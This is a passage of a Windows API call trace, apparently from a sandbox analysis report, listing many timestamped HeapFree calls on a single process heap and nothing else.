hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.370] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0085.372] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.372] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.372] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0085.374] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.378] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.387] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.388] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.388] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.388] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.388] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.388] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.390] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.391] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.391] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.391] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.392] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.499] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.541] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.542] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.543] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.545] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.545] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.556] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.558] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.559] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.559] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.559] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.559] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0085.561] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.561] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.561] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0085.563] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.566] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.571] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.571] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.571] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.571] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.572] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.572] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.574] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.574] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.574] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.575] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.575] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.575] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.576] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.576] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.577] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.579] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.579] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.579] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.580] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.582] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.582] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.586] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.586] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.586] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.586] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0085.990] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.993] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.993] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.993] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.995] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.995] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0085.997] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.997] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.997] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0085.999] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0086.003] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.006] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.009] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.011] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.017] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0086.017] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.022] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0086.024] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0086.288] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.289] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.293] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.293] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0086.294] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.294] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.294] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.295] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.295] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.295] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.296] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.296] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.296] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.297] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.299] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.299] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.299] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0086.301] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.301] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.301] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0086.303] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.303] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.303] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0086.307] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.311] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.313] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.313] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0086.315] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.315] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.315] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0086.316] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.325] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.326] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.327] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.327] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.327] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.327] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.328] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.328] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.328] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0086.328] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0087.086] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.088] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.088] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.089] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.089] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0087.093] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.100] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.104] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.106] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.106] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.107] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.107] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0087.109] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.109] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.109] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0087.113] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.113] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.113] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0087.115] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.116] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.116] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0087.116] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.586] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.588] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.588] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.589] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.589] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.589] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.589] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.589] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.590] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.590] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.590] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.590] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.591] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.591] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.591] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.594] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.594] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.594] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.595] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.595] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0087.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0087.613] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.613] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.613] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0087.614] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.615] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.615] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.616] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.616] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.618] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.619] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.619] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0087.623] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.624] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.624] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0087.624] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.625] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.626] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.626] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.627] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.627] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.627] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.627] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.627] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0087.896] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.897] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0087.898] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.102] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.103] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0088.103] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.104] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.106] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.107] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.108] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.108] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.109] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0088.110] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0088.110] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.112] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.112] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0088.116] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.116] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.116] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0088.119] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0088.119] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.119] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.119] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0088.122] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.123] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.123] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0088.130] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.173] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0088.173] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.177] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.178] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.178] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.179] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.580] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.580] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.582] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.582] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.582] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.582] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0088.582] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.585] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0088.585] HeapFree (in: hHeap=0x490000, 